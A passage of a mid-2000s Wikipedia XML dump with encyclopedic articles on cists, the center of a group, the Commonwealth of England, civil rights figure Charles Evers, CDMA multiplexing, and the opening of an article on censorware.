* [http://www.ego4u.com/en/cram-up/vocabulary/date English Dates] - explanations, exercises and date generator (written and spoken dates)
* [http://www.timeanddate.com/date/dateadd.html Date calculator, add or subtract days to or from a given date]
* [http://www.hermetic.ch/edc/edc.htm Easy Date Converter] Windows software for conversion of Gregorian, Julian and ordinal dates and for calculations with them 

[[Category:Calendars]]

[[de:Datumsformat]]
[[eo:Dato]]
[[es:fecha]]
[[fr:Date]]
[[sv:Datum]]
[[pl:data]]
[[sl:datum]]</text>
    </revision>
  </page>
  <page>
    <title>Cist</title>
    <id>7124</id>
    <revision>
      <id>38798109</id>
      <timestamp>2006-02-08T18:57:15Z</timestamp>
      <contributor>
        <username>CarolGray</username>
        <id>239028</id>
      </contributor>
      <minor />
      <text xml:space="preserve">A '''cist''' ([[International Phonetic Alphabet for English|IPA]] {{IPA|[k&amp;#618;st]}}) is a small stone-built coffin-like box used to hold the [[corpse|bodies of the dead]] (notably during the [[Bronze Age]] in [[Britain]] and occasionally in [[Indigenous peoples of the Americas|Native American]] burials). The sides are usually built of single slabs.

A cist may have been associated with other monuments, perhaps under a [[cairn]] or long [[tumulus|barrow]]. It would not be uncommon to find several cists close together within the same cairn or barrow. Occasionally, ornaments have been found within a cist under excavation, which could indicate the wealth of the interred individual.

A cist is also a mediterranean flower, see [[rockrose]].


=See also==
*[[kistvaen]]

[[Category:Death customs]]</text>
    </revision>
  </page>
  <page>
    <title>Center (group theory)</title>
    <id>7125</id>
    <revision>
      <id>27693138</id>
      <timestamp>2005-11-08T05:21:32Z</timestamp>
      <contributor>
        <username>LeonardoRob0t</username>
        <id>389639</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: hu</comment>
      <text xml:space="preserve">In [[abstract algebra]], the '''center''' of a [[group (mathematics)|group]] ''G'' is the set ''Z''(''G'') of all elements in ''G'' which [[Commutative|commute]] with all the elements of ''G''. Specifically,
:''Z''(''G'') = {''z'' &amp;isin; ''G'' | ''gz'' = ''zg'' for all ''g'' &amp;isin; ''G''}

Note that ''Z''(''G'') is a [[subgroup]] of ''G'' &amp;mdash; if ''x'' and ''y'' are in ''Z''(''G''), then for each ''g'' in ''G'', ''(xy)g'' = ''x(yg)'' = ''x(gy)'' = ''(xg)y'' = ''(gx)y'' = ''g(xy)'' so ''xy'' is in ''Z''(''G'') as well. A similar argument applies to inverses.

Moreover, ''Z''(''G'') is an [[abelian group|abelian subgroup]] of ''G'', a [[normal subgroup]] of ''G'', and even a strictly [[characteristic subgroup]] of ''G'', but not always fully characteristic.

The center of ''G'' is all of ''G'' [[iff]] ''G'' is an abelian group. At the other extreme, a group is said to be '''centerless''' if ''Z''(''G'') is trivial.

Consider the map ''f'': ''G'' &amp;rarr; Aut(''G'') to the [[automorphism group]] of ''G'' defined by ''f''(''g'')(''h'') = ''ghg''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;. The [[kernel (algebra)|kernel]] of this map is the center of ''G'' and the image is called the [[inner automorphism group]] of ''G'', denoted Inn(''G''). By the [[first isomorphism theorem]] ''G''/''Z''(''G'') &lt;math&gt;\cong&lt;/math&gt; Inn(''G'').

Example:

The center of the [[orthogonal group]] O(''n'' ) is { ''I'', &amp;minus;''I'' }.

==See also==
*[[center (algebra)]]
*[[centralizer and normalizer]]
*[[conjugacy class]].

[[Category:Group theory]]

[[de:Zentrum (Gruppentheorie)]]
[[fr:Centre d'un groupe]]
[[it:Centro di un gruppo]]
[[hu:Centrum (algebra)]]</text>
    </revision>
  </page>
  <page>
    <title>Cut-and-cover</title>
    <id>7127</id>
    <revision>
      <id>15905207</id>
      <timestamp>2004-06-21T09:02:24Z</timestamp>
      <contributor>
        <username>Mennonot</username>
        <id>73999</id>
      </contributor>
      <comment>changed redirection to point at the section of the &quot;tunnel&quot; article that mentions cut-and-cover construction technique</comment>
      <text xml:space="preserve">#REDIRECT [[Tunnel#Construction]]</text>
    </revision>
  </page>
  <page>
    <title>Collective nouns</title>
    <id>7128</id>
    <revision>
      <id>15905208</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Collective noun]]
</text>
    </revision>
  </page>
  <page>
    <title>Commonwealth of England</title>
    <id>7129</id>
    <revision>
      <id>41341545</id>
      <timestamp>2006-02-26T18:41:34Z</timestamp>
      <contributor>
        <username>Philip Baird Shearer</username>
        <id>26801</id>
      </contributor>
      <comment>/* The dissolution of the Rump */ dismissal</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=200 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Commonwealth of England'''&lt;/big&gt;&lt;/big&gt;
| align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| width=&quot;130px&quot;| [[Image:Commonwealth-Flag-1649.png|125px|Flag of the Commonwealth]] || align=center width=130px| [[Image:Cromwell8.png|100px]]
|-
| width=&quot;130px&quot;| [[Commonwealth Jack|Commonwealth Flag]] || style=&quot;text-align:center; width:130px;&quot; | [[Commonwealth Coat of Arms]]
|}
|-
| align=center colspan=2 | &lt;small&gt;''[[National motto|Motto]]:  PAX, QUÆRITUR, BELLO &lt;br&gt;([[English language|English]]: Peace is obtained by war)''&lt;sup&gt;1&lt;/sup&gt;&lt;/small&gt;
|-
| '''[[Capital]]''' || [[London]]
|-
| '''Head of State''' || none
|-
| '''Parliament''' || [[Rump Parliament]] (1649-53), [[Barebones Parliament]] (1653)
|}

'''The Commonwealth''' was the [[republic]]an government which ruled first [[England]] and then the whole of [[Ireland]], the colonies and other Crown possessions during the periods from 1649 to 1653 and from 1659 to 1660.

After the beheading of the monarch [[Charles I of England|Charles I]] on [[January 30]] 1649, its existence was initially declared (&quot;[[Wikisource:An Act declaring England to be a Commonwealth|An Act declaring England to be a Commonwealth]]&quot;) by the [[Rump Parliament]] on [[19 May]] that year.

The government during 1653 to 1659 is properly called [[The Protectorate]], and took the form of direct personal rule by [[Oliver Cromwell]] and, after his death, his son [[Richard Cromwell|Richard]], as [[Lord Protector]]. The term &quot;The Commonwealth&quot; is, however, loosely used to describe the system of government during the whole of 1649 to 1660, the years of the [[English Interregnum]]. 

== Radicals vs. Conservatives ==
Parliament had, to a large degree, encouraged the radical political groups which emerged when the usual social controls broke down during the [[English Civil War]]. It had also unwittingly established a new political force when it set up the [[New Model Army]]. Not surprisingly, all these groups had their own hopes for the new Commonwealth.

=== Levellers ===
Led by [[John Lilburne]], [[Levellers]] drew their main support from London and the Army. In the [[Agreement of the People]], 1649, they asked for: a more representative and accountable parliament, to meet every two years; a reform of law so it would be available to, and fair to all; and religious toleration. Though they wanted a more [[Democracy|democratic]] society, their proposed franchise did not extend to women or to the lowest orders of society.

Levellers saw the Rump as little better than the monarchy it had replaced, and they showed their displeasure in demonstrations, pamphlets and mutinies. While their numbers did not pose a serious threat to the government, they scared the Rump into action and the [[Treasons Act 1649|Treasons Act]] was passed against them in 1649.

=== Diggers  ===
Led by [[Gerrard Winstanley]], [[Diggers (True Levellers)|Diggers]] wanted an even more equal society than the Levellers. They advocated a lifestyle that was an early form of [[communism]], with communal ownership of land, and absolute equality for males and females in law and education. They existed in only very small numbers and faced strong opposition, even from the Levellers.

=== Religious sects ===
The breakdown of religious uniformity and incomplete [[Presbyterian]] Settlement of 1646 enabled independent churches to flourish. The main sects (''see also [[English Dissenters]]'') were: [[Baptists]], who advocated adult re[[baptism]]; [[Ranters]], who claimed that sin did not exist for the &quot;chosen ones&quot;; and [[Fifth Monarchy Men]], who opposed all &quot;earthly&quot; governments, believing they must prepare for God's kingdom on earth by establishing a &quot;government of saints&quot;.

Despite greater toleration, extreme sects were opposed by the upper classes as they were seen as a threat to social order and property rights.
[[Roman Catholic Church|Catholics]] were also excluded from the toleration applied to the other groups.

=== Conservatives ===
Conservatives were still dominant in both [[central government]] and [[local government]]. In the former, the Rump was anxious not to offend the traditional ruling class whose support it needed for survival, so it opposed radical ideas. In the latter, that ruling class dominated through the influence of traditional regional gentry.

== Political experiments of the Commonwealth ==
=== The Rump Parliament 1649–53 ===
The Rump was the purged remnant of the original [[Long Parliament]]. As such it was a link with the old constitution. With the abolition of the monarchy, [[Privy Council of the United Kingdom|Privy Council]] and the [[House of Lords]], it had unchecked executive, as well as legislative, power. The '''Council of State''', which replaced the Privy Council, took over many of the executive functions of the monarchy.  It was selected by the Rump, and most of its members were MPs. Ultimately however, the Rump depended on the support of the Army with which it had a very uneasy relationship.

==== Structure of the Rump ====
In [[Pride's Purge]], all MPs (including most of the political Presbyterians) who would not accept the need to bring the King to trial had been removed. Thus the Rump never had more than 200 members (less than half the number in the original Long Parliament). They included: supporters of religious independents who did not want an established church and some of whom had sympathies with the Levellers; [[Presbyterians]] who were willing to countenance the trial and execution of the King; and later admissions, such as formerly excluded MPs who were prepared to denounce the [[Newport Treaty]] negotiations with the King.

Most Rumpers were [[gentry]], though there was a higher proportion of lesser gentry and lawyers than in previous parliaments.  Less than one-quarter of them were [[regicide]]s. This left the Rump basically a conservative body whose vested interests in the existing land ownership and legal systems made them unlikely to want to reform these.

==== Rump issues and achievements====
For the first two years of the Commonwealth, the Rump faced economic depression and the risk of invasion from [[Scotland]] and [[Ireland]]. (By 1653 Cromwell and the Army had largely eliminated these threats).

There were many disagreements amongst factions of the Rump. Some wanted a republic, but others favoured retaining some type of monarchical government. Most of England's traditional ruling classes regarded the Rump as an illegal government made up of regicides and upstarts. However, they were also aware that the Rump might be all that stood in the way of an outright [[martial law|military dictatorship]]. High taxes, mainly to pay the Army, were resented by the gentry. Limited reforms (see below) were enough to antagonise the ruling class but not enough to satisfy the radicals.

Despite its unpopularity, the Rump was a link with the old constitution, and helped to settle England down and make it secure after the biggest upheaval in its history. By 1653, both [[France]] and [[Spain]] had recognised England's new government.

==== Rump reforms ====
Though the national church (now Presbyterian) was retained, the 1559 [[Act of Uniformity]] was repealed in 1650. Many independent churches were therefore tolerated, although everyone still had to pay [[tithe]]s to the established church.  This wide toleration came about mainly because of the insistence of the Army.

Some small improvements were made to law and court procedure, for example all court proceedings were now conducted in English rather than in [[Law French]] or [[Latin]].  However, there were no widespread reforms of the [[Common Law]]. This would have upset the gentry, who regarded the Common Law as reinforcing their status and property rights.

The Rump passed many restrictive 'moral' laws to regulate people's behaviour, such as closing down theatres and requiring [[Blue law|strict observance of Sundays]]. This antagonised most of the gentry.

==== The dismissal of the Rump ====
Cromwell forcibly dismissed the Rump in April 1653, for reasons that are unclear. Theories are that he feared the Rump was trying to perpetuate itself as the government, or that the Rump was preparing for an election which could return an anti-Commonwealth majority. Many former members of the Rump continued to regard themselves as England's only legitimate constitutional authority. The Rump had not agreed to its own dissolution when it was dispersed by Cromwell and legislation from the period immidiatly before the Civil War the [Act against dissolving the Long Parliament without its own consent [[11 May]] [[1641]], gave them the legal basies for this view.

=== The 'Barebones' Parliament, July–December 1653 ===
The dissolution of the Rump was followed by a short period in which Cromwell and the Army ruled alone. Nobody had the constitutional authority to call an election, but Cromwell did not want to impose a military dictatorship. Instead, he ruled through a 'nominated assembly' which he believed would be easy for the Army to control, since Army officers did the nominating.

The [[Barebones Parliament]] was opposed by former Rumpers and ridiculed by many gentry as being as assembly of 'inferior' people. However, over 110 of its 140 members were lesser gentry or of higher social status. (An exception was [[Praise-God Barbon]], a Baptist merchant after whom the Assembly got its derogatory nickname.) Many were well educated.

The assembly reflected the range of views of the officers who nominated it. The Radicals (approximately 40) included a hard core of [[Fifth Monarchists]] who wanted to be rid of Common Law and any state control of religion. The Moderates (approximately 60) wanted some improvements within the existing system and might move to either the radical or conservative side depending on the issue. The Conservatives (approximately 40) wanted to keep the status quo (since Common Law protected the interests of the gentry, and tithes and [[advowson]]s were valuable property).

Cromwell saw the Barebones Parliament as a temporary legislative body which he hoped would produce reforms and develop a constitution for the Commonwealth. However, members were divided over key issues, only 25 had previous parliamentary experience, and although many had some legal training, there were no qualified lawyers.

Cromwell seems to have expected this group of 'amateurs' to produce reform without management or direction. When the radicals mustered enough support to defeat a bill which would have preserved the status quo in religion, the conservatives, together with many moderates, surrendered their authority back to Cromwell who sent soldiers to clear the rest of the Assembly.  The Barebones Parliament was over.

After this, Cromwell established [[The Protectorate]], making himself a king-like figure. The Commonwealth was finished.

== See also ==
*[[First Anglo-Dutch War]] and [[Admiral Robert Blake]] for the role played by sea power during this period.

== External links ==
*[http://flagspot.net/flags/gb-inter.html British flags of the period]
*[http://www.archontology.org/nations/england/commonwealth/ Commonwealth of England: Heads of State: 1649-1660]
{{start}}
{{s-bef|before=[[Charles I of England|Charles I]]}}
{{s-ttl|title=Commonwealth of England|years=1649&amp;ndash;1653}}
{{s-aft|after=[[Oliver Cromwell]]&lt;br&gt;&lt;small&gt;''[[The Protectorate]]''&lt;/small&gt;}}
{{s-bef|before=[[Richard Cromwell]]&lt;br&gt;&lt;small&gt;''The Protectorate''&lt;/small&gt;}}
{{s-ttl|title=Commonwealth of England|years=1659&amp;ndash;1660}}
{{s-aft|after=[[Charles II of England|Charles II]]&lt;br&gt;&lt;small&gt;''[[Stuart Restoration]]''&lt;/small&gt;}}

{{end}}

[[Category:History of England]]
[[Category:English Civil War]]

[[no:Det engelske samveldet]]
[[de:Commonwealth (Staatsform)]]
[[zh:英格兰联邦]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Evers</title>
    <id>7131</id>
    <revision>
      <id>40362167</id>
      <timestamp>2006-02-20T01:40:35Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Charles Evers''' (b. [[1922]]) has been an important [[civil rights]] figure.  Older brother of the civil rights martyr, [[Medgar Evers]], he introduced Medgar to the [[US civil rights movement]]. When an assassin shot and killed Medgar in [[1963]], Charles Evers took over Medgar's post as head of the [[NAACP]] in [[Mississippi]].  

In [[1969]] Charles Evers was Mayor of [[Fayette, Mississippi]] and was the first African-American mayor in Mississippi since [[Reconstruction]]. 

By then Fayette had a majority of blacks, but African-Americans had not enjoyed full voting rights there. Fayette had no industry, which meant it had almost no residents who had grown up outside the area. It was known to be inhospitable towards black people.

Before becoming mayor, Charles Evers had worked as a cotton picker, dishwasher, bootlegger and short-order cook; as a soldier, cab driver, deejay, and funeral home director -- and as a foot soldier in the civil rights movement, signing up black voters. His swearing-in as mayor had enormous symbolic significance statewide and national resonance. The NAACP named Evers their 1969 Man of the Year.  John Updike mentioned Evers in his popular novel &quot;Rabbit Redux.&quot; Evers popularized the slogan &quot;Hands that picked cotton can now pick the mayor.&quot;

He had a strong physical presence and carried his 250 pounds (113 kg) with grace. (He is quoted as saying, &quot;I'll  march, I'll picket, but I don't believe in no hunger strikes.&quot;) He had the endurance, the driving ambition and the gall of the successful politician -- but never the innate caution.  Charles Evers later ran for Governor of Mississippi.

Born in [[Decatur, Mississippi]], Evers had a strong, devoutly Christian mother and a fearless father. He learned from his parents that racism was not only wrong but un-Christian, and he always saw the civil rights movement as a Christian movement teaching love and equality for all.

During [[World War II]], Charles and Medgar Evers both served in the U.S. Army. Charles fell in love with a Filipino woman overseas but could not marry her and live with her in Mississippi because she was white.

Back in Mississippi, around 1951, Charles and Medgar Evers grew very interested in [[Jomo Kenyatta]] and his use of the &quot;mau-mau&quot; movement to free the nation of [[Kenya]] from colonial shackles in Africa.

Around 1956, Evers's entrepreneurial gifts and his civil rights activism landed him in trouble in [[Philadelphia, Mississippi]].  He left town and moved to Chicago.

In Chicago, Evers says that he vowed to support the movement back home, and fell into a life of hustling, running numbers for the mob and managing prostitutes. The money he made is said to have been substantial, and much of it was sent back to help the movement.

Evers served many terms as mayor of Fayette. Admired by some, he alienated others with his inflexible stands on various town issues. Evers did not like to share or delegate power.

He has also attracted controversy for his support of judicial nominee [[Charles W. Pickering]], in contrast to organizations such as the Mississippi NAACP and the [[Congressional Black Caucus]]. He remains distrusted by some blacks for allegedly cooperating with the [[Mississippi State Sovereignty Commission]].

Charles Evers has befriended an astonishing range of people from sharecroppers to presidents. He was an informal advisor to politicians as diverse as [[Lyndon B. Johnson]], [[Robert Kennedy]], [[George Wallace]] and [[Ronald Reagan]].

He has also heaped scorn on black leaders who, he believes, are charlatans or have not &quot;paid the price.&quot; Rare for a leader, he is willing to attach names to his criticisms, rather than to let them stand as a general exhortation. Charles Evers has been highly critical of such black community leaders as [[Roy Wilkins]], [[Stokely Carmichael]], [[H. Rap Brown]] and [[Louis Farrakhan]].

Charles Evers has told his life story well in the memoir &quot;Have No Fear&quot;

Evers is a prominent member of the [[Mississippi]] [[Republican party]]. 

===Quotes===  
:''&quot;Whenever you see bigotry, hypocrisy is real close by.&quot;''
:''&quot;Have no fear.&quot;''

==External links==
*The Rise and Fall of Jim Crow, PBS [http://www.pbs.org/wnet/jimcrow/stories_people_evers.html]

[[Category:1922 births|Evers, Charles]]
[[Category:Living people|Evers, Charles]]
[[Category:African Americans' rights activists|Evers, Charles]]</text>
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    <title>CDMA</title>
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    <title>Code division multiple access</title>
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      <text xml:space="preserve">{{Table Mobile phone standards}}
'''Code division multiple access''' ('''CDMA''') is a form of multiplexing (not a modulation scheme) and a method of [[multiple access]] that does not divide up the channel by [[time]] (as in [[TDMA]]), or [[frequency]] (as in [[FDMA]]), but instead encodes data with a certain code associated with a channel and uses the [[constructive interference]] properties of the signal medium to perform the multiplexing. '''CDMA''' also refers to digital [[cellular network|cellular telephony systems]] that make use of this multiple access scheme, such as those pioneered by [[Qualcomm]], or [[W-CDMA]].

== History of CDMA ==
Please see: [[direct-sequence spread spectrum]] (DSSS). &lt;!-- This doesn't seem appropriate --&gt;

== Usage in mobile telephony ==
A number of different terms are used to refer to CDMA implementations.  The original standard spearheaded by QUALCOMM was known as [[IS-95]], the IS referring to an Interim Standard of the Telecommunications Industry Association (TIA).  IS-95 is often referred to as 2G or second generation cellular.  The [[QUALCOMM]] brand name [[IS-95|cdmaOne]] may also be used to refer to the 2G CDMA standard. 

After a couple of revisions, IS-95 was superseded by the [[CDMA2000|IS-2000]] standard.  This standard was introduced to meet some of the criteria laid out in the [[IMT-2000]] specification for 3G, or third generation, cellular.  It is also referred to as [[CDMA2000|1xRTT]] which simply means &quot;1 times Radio Transmission Technology&quot; and indicates that IS-2000 uses the same 1.25-MHz shared channel as the original IS-95 standard. A related scheme called 3xRTT uses three 1.25-MHz carriers for a 3.75-MHz bandwidth that would allow higher data burst rates for an individual user, but the 3xRTT scheme has not been commercially deployed. More recently, QUALCOMM has led the creation of a new CDMA-based technology called [[Evolution-Data Optimized|1xEV-DO]], or IS-856, which provides the higher packet data transmission rates required by IMT-2000 and desired by wireless network operators.

The QUALCOMM CDMA system includes highly accurate time signals (usually referenced to a GPS receiver in the cell base station), so cell phone CDMA-based clocks are an increasingly popular type of [[radio clock]] for use in computer networks.  The main advantage of using CDMA cell phone signals for reference clock purposes is that they work better inside buildings, thus often eliminating the need to mount a GPS antenna on the outside of a building.

Also frequently confused with CDMA is [[W-CDMA]]. The CDMA technique is used as the principle of the [[W-CDMA]] air interface, and the [[W-CDMA]] air interface is used in the global 3G standard [[UMTS]] and the Japanese 3G standard [[FOMA]], by [[NTT DoCoMo]] and [[Vodafone]]; however, the CDMA family of standards (including [[IS-95|cdmaOne]] and [[CDMA2000]]) are not compatible with the W-CDMA family of standards.

Another important application of CDMA—predating and entirely distinct from CDMA cellular—is the Global Positioning System, [[GPS]].

===Coverage===
As CDMA is newer than GSM, it may not be available in some parts of the world. However, as the signal can be transmitted over greater distances, it may give reception in more remote or rural areas where a GSM phone does not pick up a signal. 

''See also '''Market situation''' section of [[GSM]]''

==Technical details== 

=== Mathematical foundation ===
CDMA exploits at its core mathematical properties of [[orthogonality]]. Suppose we represent data signals as [[coordinate vector|vector]]s. For example, the binary string &quot;1011&quot; would be represented by the vector (1, 0, 1, 1). We may wish to give a vector a name, we may do so by using boldface letters, eg '''a'''. We also use an operation on vectors, known as the [[dot product]], to &quot;multiply&quot; vectors, by summing the product of the components. For example, the dot product of (1, 0, 1, 1) and (1, -1, -1, 0) would be (1)(1)+(0)(-1)+(1)(-1)+(1)(0)=1+-1=0. Where the dot product of vectors '''a''' and '''b''' is 0, we say that the two vectors are ''orthogonal''.

The dot product has a number of properties, and one will aid us in understanding why CDMA works. For vectors '''a''', '''b''', '''c''':
:&lt;math&gt;\mathbf{a}\cdot(\mathbf{b}+\mathbf{c})=\mathbf{a}\cdot\mathbf{b}+\mathbf{a}\cdot\mathbf{c},\quad\mathrm{and}&lt;/math&gt;
:&lt;math&gt;\mathbf{a}\cdot k\mathbf{b}=k(\mathbf{a}\cdot\mathbf{b}).&lt;/math&gt;
The square root of '''a'''.'''a''' is a real number, and is important. We write 
:&lt;math&gt;||\mathbf{a}||=\sqrt{\mathbf{a}\cdot\mathbf{a}}.&lt;/math&gt;

Suppose vectors ''a'' and ''b'' are orthogonal. Then:
:&lt;math&gt;\mathbf{a}\cdot(\mathbf{a}+\mathbf{b})=||\mathbf{a}||^2\quad\mathrm{since}\quad\mathbf{a}\cdot\mathbf{a}+\mathbf{a}\cdot\mathbf{b}= ||a||^2+0,&lt;/math&gt;
:&lt;math&gt;\mathbf{a}\cdot(-\mathbf{a}+\mathbf{b})=-||\mathbf{a}||^2\quad\mathrm{since}\quad-\mathbf{a}\cdot\mathbf{a}+\mathbf{a}\cdot\mathbf{b}= -||a||^2+0,&lt;/math&gt;
:&lt;math&gt;\mathbf{b}\cdot(\mathbf{a}+\mathbf{b})=||\mathbf{b}||^2\quad\mathrm{since}\quad\mathbf{b}\cdot\mathbf{a}+\mathbf{b}\cdot\mathbf{b}= 0+||b||^2,&lt;/math&gt;
:&lt;math&gt;\mathbf{b}\cdot(\mathbf{a}-\mathbf{b})=-||\mathbf{b}||^2\quad\mathrm{since}\quad\mathbf{b}\cdot\mathbf{a}-\mathbf{b}\cdot\mathbf{b}=0 -||b||^2.&lt;/math&gt;

=== Implementation ===

[[Image:Cdma_orthogonal_signals.png|thumb|250px|right|An example of 4 orthogonal digital signals.]]

Suppose now we have a set of vectors that are mutually orthogonal to each other. Usually these vectors are specially constructed for ease of decoding -- they are columns or rows from [[Walsh matrix|Walsh matrices]] that are constructed from [[Walsh function]]s -- but strictly mathematically the only restriction on these vectors is that they are orthogonal. An example of orthogonal functions is shown in the picture on the right. Now, associate with one sender a vector from this set, say '''v''', which is called the ''[[chip]] code''. Associate a zero digit with the vector -'''v''', and a one digit with the vector '''v'''. For example, if '''v'''=(1,-1), then the binary vector (1, 0, 1, 1) would correspond to (1,-1,-1,1,1,-1,1,-1). For the purposes of this article, we call this constructed vector the ''transmitted vector''.

Each sender has a different, unique vector chosen from that set, but the construction of the transmitted vector is identical.

Now, the physical properties of interference say that if two signals at a point are in phase, they will &quot;add up&quot; to give twice the amplitude of each signal, but if they are out of phase, they will &quot;subtract&quot; and give a signal that is the difference of the amplitudes. Digitally, this behaviour can be modelled simply by the addition of the transmission vectors, componentwise. So, if we have two senders, both sending simultaneously, one with the chip code (1, -1) and data vector (1, 0, 1, 1), and another with the chip code (1, 1), and data vector (0,0,1,1), the raw signal received would be the sum of the transmission vectors 
(1,-1,-1,1,1,-1,1,-1)+(-1,-1,-1,-1,1,1,1,1)=(0,-2,-2,0,2,0,2,0).

Suppose a receiver gets such a signal, and wants to detect what the transmitter with chip code (1, -1) is sending. The receiver will make use of the property described in the above foundation section, and take the dot product to the received vector in parts. Take the first two components of the received vector, that is, (0, -2). Now, (0, -2).(1, -1) = (0)(1)+(-2)(-1) = 2. Since this is positive, we can deduce that a one digit was sent. Taking the next two components, (-2, 0), (-2, 0).(1,-1)=(-2)(1)+(0)(-1)=-2. Since this is negative, we can deduce that a zero digit was sent. Continuing in this fashion, we can successfully decode what the transmitter with chip code (1, -1) was sending: (1, 0, 1, 1).

Likewise, applying the same process with chip code (1, 1): (1, 1).(0,-2) = -2 gives digit 0, (1, 1).(-2,0)=(1)(-2)+(1)(0)=-2 gives digit 0, and so on, to give us the data vector sent by the transmitter with chip code (1, 1): (0, 0, 1, 1).

Now, there are certain issues where this mathematical process can be disrupted. Suppose that one sender transmits at a higher signal strength than another. Then the critical orthogonality property can be disrupted, and thus the system can fail. Thus controlling power strength is an important issue with CDMA transmitters. A TDMA or FDMA receiver can in theory completely reject arbitrarily strong signals on other time slots or frequency channels. This is not true for CDMA; rejection of unwanted signals is only partial. If any or all of the unwanted signals are much stronger than the desired signal, they will overwhelm it. This leads to a general requirement in any CDMA system to approximately match the various signal power levels as seen at the receiver. In CDMA cellular, the base station uses a fast closed-loop power control scheme to tightly control each mobile's transmit power.

Suppose that noise present in a channel takes a zero bit to some other value. Then this will also disrupt the orthogonality property, and thus adding an extra level of [[forward error correction]] (FEC) coding is also vital.

So far, we have assumed that CDMA timing is absolutely exact, that is, transmitters exactly transmit at points in multiples of the length of the chip sequence. Of course, in reality, this is impractical to achieve, so all forms of CDMA use [[spread spectrum]] [[process gain]] to allow receivers to partially discriminate against unwanted signals. Signals with the desired chip code and timing are received, while signals with different chip codes (or the same spreading code but a different timing offset) appear as wideband noise reduced by the process gain.

CDMA's main advantage over TDMA and FDMA is that the number of available CDMA codes is essentially infinite. This makes CDMA ideally suited to large numbers of transmitters each generating a relatively small amount of traffic at irregular intervals, as it avoids the overhead of continually allocating and deallocating a limited number of [[orthogonal]] time slots or frequency channels to individual transmitters. CDMA transmitters simply send when they have something to say, and go off the air when they don't.

=== Soft Handoff ===

Soft handoff (or soft handover) is an innovation in mobility which was only possible with CDMA technology.  It refers to the technique of moving from one cell to another without dropping the radio link at any time.

In TDMA and analog systems, each cell transmits on its own frequency, different from those of its neighbouring cells.  If a mobile device reaches the edge of the cell currently serving its call, it is told to break its radio link and quickly tune to the frequency of one of the neighbouring cells where the call has been moved by the network due to the mobile's movement.  If the mobile is unable to tune to the new frequency in time the call is dropped.

In CDMA, a set of neighbouring cells all use the same frequency for transmission and distinguish cells (or base stations) by means of a number called the &quot;PN offset&quot;, a time offset from the beginning of the well-known pseudo-random noise sequence that is used to spread the signal from the base station.  Because all of the cells are on the same frequency, listening to different base stations is now an exercise in digital signal processing based on offsets from the PN sequence, not RF transmission and reception based on separate frequencies.

As the CDMA phone roams through the network, it detects the PN offsets of the neighbouring cells and reports the strength of each signal back to the reference cell of the call (usually the strongest cell).  If the signal from a neighbouring cell is strong enough, the mobile will be directed to &quot;add a leg&quot; to its call and start transmitting and receiving to and from the new cell in addition to the cell (or cells) already hosting the call.  Likewise, if a cell's signal becomes too weak the mobile is directed to drop that leg.  In this way, the mobile can move from cell to cell and add and drop legs as necessary in order to keep the call up without ever dropping the link.

In practice there are frequency boundaries, often between different carriers or sub-networks.  In this situation, the CDMA phone behaves in the same way as TDMA or analog and performs a hard handoff in which it breaks the existing connection and tries to pick up on the new frequency where it left off.

==CDMA features==
* Narrowband message signal multiplied by wideband spreading signal or [[pseudorandom noise|pseudonoise code]]
* Each user has his own pseudonoise (PN) code
* Soft capacity limit: system performance degrades for all users as number of users increases
* Cell frequency reuse: no frequency planning needed
* Soft [[handoff]] increases capacity
* [[Near-far problem]]
* Interference limited: power control is required
* Wide bandwidth induces diversity: [[rake receiver]] is used
* It would take all the computers ever made as much time as humans have been on earth to crack or decode a single second of CDMA conversation{{fact}}

==See also==
* [[Near-far problem]]
* [[CDMA2000]]
* [[GSM]]
* [[Frequency-division multiplexing]]
* [[Time-division multiple access]]

==External links==
* [http://www.3gpp2.org/ The Third Generation Partnership Project 2 (3GPP2)]
* [http://www.3gpp.org/ The Third Generation Partnership Project (3GPP) ]
* [http://www.cdg.org/  CDMA Development Group (CDG)]
* [http://www.freewebs.com/telecomm/cdma.html  Links to CDMA Whitepapers/Tutorials (CDG)]
* [http://www.radio-electronics.com/info/cellulartelecomms/   Radio-Electronics.Com]
* [http://www.cdmatech.com/  Qualcomm CDMA Technologies (QCT)]
* [http://www.mobileafrica.net/cdma.php  CDMA in Africa ]
* [http://www.cdg.org/ CDMA Development Group]
* [[PN Sequences]]
* [http://www.vias.org/simulations/simusoft_dscdma.html Learning by Simulations] Direct Sequence CDMA Simulation

==Further reading==
* Andrew J. Viterbi. (1995) ''CDMA : Principles of Spread Spectrum Communication'' (1st edition) Prentice Hall PTR ISBN 0201633744

[[Category:Channel access methods]]
[[Category:Multiplexing]]

[[fr:Code Division Multiple Access]]
[[ko:CDMA]]
[[ja:符号分割多元接続]]
[[pl:CDMA]]
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[[sv:CDMA]]
[[zh:CDMA]]</text>
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  <page>
    <title>Censorware</title>
    <id>7144</id>
    <revision>
      <id>39974532</id>
      <timestamp>2006-02-17T05:09:21Z</timestamp>
      <contributor>
        <ip>71.110.197.196</ip>
      </contributor>
      <comment>/* Issues */</comment>
      <text xml:space="preserve">[[Image:Screenshot-whitehouse_com.png|thumb|right|200px||[[DansGuardian]] censoring Whitehouse.com]]

'''Censorware''' is a term for content-filtering [[Computer software|software]], especially when it is used to filter content delivered over the [[World Wide Web|Web]]. Censorware determines what content will be available on a particular machine or network; the motive is often to protect children. [[pornography|Pornography]], [[gambling]], [[alternative lifestyles]], [[sexuality]], and religious web sites may be filtered. Censorware can also be used to block Internet access entirely.

==Issues==

The term &quot;censorware&quot; is valuative; companies usually do not refer to their software as &quot;censorware,&quot; preferring terms such as '''internet filter''' or '''internet nanny'''. Filters can be implemented in many different ways: by a software program on a personal computer or by servers providing internet access.  Choosing an [[internet service provider]] (ISP) that blocks objectionable material before it enters the home over software run on their own computer can help parents who worry about their children viewing objectionable content.

